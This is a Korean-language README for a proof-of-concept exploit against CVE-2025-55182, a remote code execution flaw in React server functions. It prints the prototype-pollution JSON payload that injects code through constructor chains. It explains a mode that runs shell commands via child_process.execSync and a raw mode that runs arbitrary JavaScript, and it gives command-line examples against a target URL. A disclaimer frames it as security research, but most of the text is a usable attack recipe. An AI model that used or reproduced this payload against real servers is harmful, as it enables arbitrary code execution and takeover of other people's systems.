
CVE-2025-55182(React SSR RCE)용 POC 스크립트입니다.
이 POC는 교육 및 보안 연구 목적으로만 제공됩니다. 이 취약점은 영향을 받는 패키지의 최신 버전에서 패치되었습니다. 이 도구는 소유한 시스템이나 테스트할 명시적 권한이 있는 시스템에서만 사용하십시오. 귀하에 대해 취해진 법적 조치에 대해 책임지지 않습니다.
이 익스플로잇은 JavaScript의 프로토타입 체인을 악용하는 특수하게 조작된 JSON 객체를 생성합니다:
{
"then": "$1:__proto__:then", // Pollutes the prototype chain
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": jsCode, // Injected malicious code
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
이 POC는 두 가지 모드를 지원합니다:
표준 모드 (기본값):
process.mainModule.require("child_process").execSync("YOUR_COMMAND");
셸 명령을 Node.js child_process를 통해 실행하도록 래핑합니다.
원시 모드 (--raw 플래그):
// Executes arbitrary JavaScript directly
셸 명령 래핑 없이 직접 JavaScript 코드 실행을 허용합니다.
bun run index.ts <command_file> <target_url>
예시:
# Create a command file
echo "whoami" > cmd.txt
# Execute against vulnerable endpoint
bun run index.ts cmd.txt http://localhost:3000
bun run index.ts --raw <js_file> <target_url>
예시:
# Create JavaScript payload
echo "require('fs').writeFileSync('/tmp/pwned.txt', 'RCE Success')" > payload.js
# Execute raw JavaScript
bun run index.ts --raw payload.js http://localhost:3000
<file_path>: 명령 또는 JavaScript 코드가 포함된 파일의 경로<target_url>: React Server Function 엔드포인트의 URL--raw: (선택 사항) 셸 명령 대신 원시 JavaScript를 실행발견자: Lachlan Davidson
공개자: React 팀 및 Meta Security